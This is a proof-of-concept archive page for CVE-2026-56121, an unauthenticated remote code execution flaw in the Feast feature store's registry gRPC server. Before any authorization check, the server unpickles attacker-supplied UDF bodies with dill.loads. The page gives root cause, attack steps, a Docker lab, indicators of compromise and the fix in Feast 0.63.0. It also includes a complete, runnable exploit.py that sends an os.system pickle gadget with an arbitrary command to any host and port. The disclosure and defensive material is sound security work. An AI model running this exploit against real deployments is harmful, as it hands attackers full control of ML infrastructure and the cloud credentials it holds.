PoC Archive PoC Archive
Critical CVE-2026-56121 patched

Feast Registry gRPC Unauthenticated RCE via dill.loads — CVE-2026-56121

by Caio Fabrício (BiiTts) — [github.com/BiiTts](https://github.com/BiiTts) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-56121
Category
misc
Affected product
Feast (open-source feature store) registry gRPC server
Affected versions
Feast < 0.63.0 (fixed in 0.63.0)
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06-30
Author / ResearcherCaio Fabrício (BiiTts) — github.com/BiiTts
CVE / AdvisoryCVE-2026-56121
Categorymisc
SeverityCritical
CVSS Score9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per source repository)
StatusPoC
Tagsfeast, feature-store, dill, pickle, deserialization, grpc, unauth-rce, mlops
RelatedN/A

Affected Target

FieldValue
Software / SystemFeast (open-source feature store) registry gRPC server
Versions AffectedFeast < 0.63.0 (fixed in 0.63.0)
Language / PlatformPython 3 (Feast SDK / registry server)
Authentication RequiredNo — shipped default config is auth: type: no_auth; deserialization also runs before any authorization check even when auth is enabled
Network Access RequiredYes — reach the registry gRPC port (default 6570)

Summary

Feast’s registry gRPC server deserializes the user-defined function (UDF) body of an OnDemandFeatureView with dill.loads() (a pickle superset) the moment a spec is received via the ApplyFeatureView RPC — before any permission check runs. Because the default deployment ships auth: no_auth, any client that can reach the registry port can submit a crafted ApplyFeatureView request containing a malicious pickle in user_defined_function.body and achieve arbitrary OS command execution on the registry host. The PoC reproduces this end-to-end against feast==0.62.0 inside a Docker lab, confirming command execution via a __reduce__-based os.system gadget.


Vulnerability Details

Root Cause

sdk/python/feast/registry_server.py’s ApplyFeatureView handler calls OnDemandFeatureView.from_proto(...) to parse an incoming feature view spec before calling assert_permissions_to_update(...). from_proto in turn calls into sdk/python/feast/transformation/pandas_transformation.py (and python_transformation.py), which does udf = dill.loads(user_defined_function_proto.body) on the attacker-controlled body bytes. Since dill is a pickle superset, unpickling attacker bytes invokes the pickle __reduce__ machinery, which can call arbitrary callables (e.g. os.system) as a side effect of deserialization. The ordering bug (deserialize-then-authorize) means the code executes regardless of the authorization outcome, and the default no_auth configuration means there is no authorization check to begin with.

Attack Vector

  1. Attacker crafts a Python object whose __reduce__ method returns (os.system, (cmd,)) and pickles it with pickle.dumps(...).
  2. Attacker builds an ApplyFeatureViewRequest protobuf message with an on_demand_feature_view whose spec.feature_transformation.user_defined_function.body is set to the malicious pickle bytes (mode="pandas").
  3. Attacker sends the request over an insecure gRPC channel to the registry server’s RegistryServer.ApplyFeatureView RPC (default port 6570) — no credentials required.
  4. The server’s from_proto path calls dill.loads() on the body before checking permissions; the pickle’s __reduce__ fires, running os.system(cmd) on the registry host.
  5. The RPC subsequently errors out (the unpickled object, 0, is not a valid callable UDF), but the command has already executed server-side — the PoC verifies this by having the command write output to a file on the target host.

Impact

Anyone able to reach the Feast registry gRPC port obtains arbitrary OS command execution as the registry service account, resulting in full compromise of the feature store and everything it is wired to — offline/online stores, other registries, and any cloud credentials available to that process. Feast registries are frequently exposed inside ML platforms for SDK clients to call, widening the practical attack surface.


Environment / Lab Setup

Target:   Docker container running feast==0.62.0 registry gRPC server (feast serve_registry), port 6570 exposed, default auth: no_auth config generated by `feast init` / `feast apply`.
Attacker: Python 3 with `grpc` and `feast==0.62.0` installed (for the generated protobuf stubs); network reachability to target:6570.

Proof of Concept

PoC Script

See exploit.py in this folder.

1
2
3
4
5
6
docker compose -f lab/docker-compose.yml up --build -d

pip install "feast==0.62.0" grpcio
python3 exploit.py 127.0.0.1:6570 -c "id; hostname"

docker compose -f lab/docker-compose.yml exec feast cat /tmp/feast_pwned

The script builds an ApplyFeatureViewRequest whose on_demand_feature_view.spec.feature_transformation.user_defined_function.body contains a pickled object with a __reduce__-based os.system gadget, then sends it unauthenticated to the target’s registry gRPC endpoint via grpc.insecure_channel. The RPC ultimately raises an error (the deserialized “UDF” is not callable), but the command has already run during dill.loads().


Detection & Indicators of Compromise

[*] sending ApplyFeatureView with a 124-byte malicious pickle in user_defined_function.body
[*] RPC status: UNKNOWN - Exception calling application: 0 is not a module, class, method, or function.
[+] dill.loads executed the payload server-side during from_proto.

Signs of compromise:

  • ApplyFeatureView / ApplyMaterialization RPCs to the registry where the incoming OnDemandFeatureView.user_defined_function.body did not originate from a trusted SDK client.
  • Registry server process (feast serve_registry) spawning unexpected child shells or processes.
  • Errors in registry logs of the form "... is not a module, class, method, or function" immediately following an ApplyFeatureView call, indicating a non-callable object was unpickled as a UDF.
  • Unexpected files/output appearing on the registry host filesystem.

Remediation

ActionDetail
Primary fixUpgrade to Feast ≥ 0.63.0, which threads a skip_udf flag through from_proto so the registry server no longer deserializes the UDF body of incoming specs.
Interim mitigationNever expose the registry gRPC port to untrusted networks; enable auth (oidc/kubernetes) as defense in depth — note auth alone is not sufficient on < 0.63.0 since deserialization precedes the authorization check; monitor/alert on ApplyFeatureView calls carrying unexpected UDF bodies.

References


Notes

Mirrored from https://github.com/BiiTts/CVE-2026-56121-Feast-Unauth-RCE on 2026-07-05.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/env python3
"""
CVE-2026-56121 - Feast < 0.63.0 - Unauthenticated RCE via gRPC registry server

The Feast registry gRPC server deserializes the user-defined function of an
OnDemandFeatureView with dill (a pickle superset) the moment a spec arrives:

  registry_server.py ApplyFeatureView:
      feature_view = OnDemandFeatureView.from_proto(request.on_demand_feature_view)  # <-- dill.loads
      assert_permissions_to_update(resource=feature_view, ...)                       # auth AFTER

  transformation/pandas_transformation.py / python_transformation.py from_proto:
      udf = dill.loads(user_defined_function_proto.body)

`from_proto` runs BEFORE the permission check, and the shipped config is
`auth: type: no_auth`, so an unauthenticated attacker who can reach the registry
port (default 6570) achieves remote code execution by sending an ApplyFeatureView
request whose user_defined_function.body is a malicious pickle.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import pickle
import sys

import grpc
from feast.protos.feast.registry import RegistryServer_pb2 as rs
from feast.protos.feast.registry import RegistryServer_pb2_grpc as rs_grpc


class _Payload:
    """When unpickled (by dill.loads on the server) runs `cmd` via os.system."""
    def __init__(self, cmd):
        self.cmd = cmd

    def __reduce__(self):
        import os
        return (os.system, (self.cmd,))


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-56121 Feast unauth RCE PoC")
    ap.add_argument("target", help="registry gRPC host:port, e.g. 127.0.0.1:6570")
    ap.add_argument("-c", "--cmd", default="id > /tmp/feast_pwned 2>&1",
                    help="command to run on the Feast registry host")
    ap.add_argument("--project", default="feature_repo", help="Feast project name")
    args = ap.parse_args()

    body = pickle.dumps(_Payload(args.cmd))

    req = rs.ApplyFeatureViewRequest()
    odfv = req.on_demand_feature_view
    odfv.spec.name = "pwn"
    odfv.spec.project = args.project
    odfv.spec.mode = "pandas"
    udf = odfv.spec.feature_transformation.user_defined_function
    udf.name = "pwn"
    udf.body = body          # malicious pickle -> dill.loads() executes it
    udf.body_text = "def pwn():\n    pass\n"
    udf.mode = "pandas"
    req.project = args.project

    print(f"[*] target {args.target}  cmd={args.cmd!r}")
    print(f"[*] sending ApplyFeatureView with a {len(body)}-byte malicious pickle in user_defined_function.body")
    ch = grpc.insecure_channel(args.target)
    stub = rs_grpc.RegistryServerStub(ch)
    try:
        stub.ApplyFeatureView(req, timeout=15)
        print("[+] request returned without error")
    except grpc.RpcError as e:
        # the command runs during from_proto (before/independent of the RPC outcome)
        print(f"[*] RPC status: {e.code().name} - {str(e.details())[:120]}")
    print("[+] dill.loads executed the payload server-side during from_proto.")
    print("    Verify on the target host (e.g. cat /tmp/feast_pwned).")


if __name__ == "__main__":
    sys.exit(main())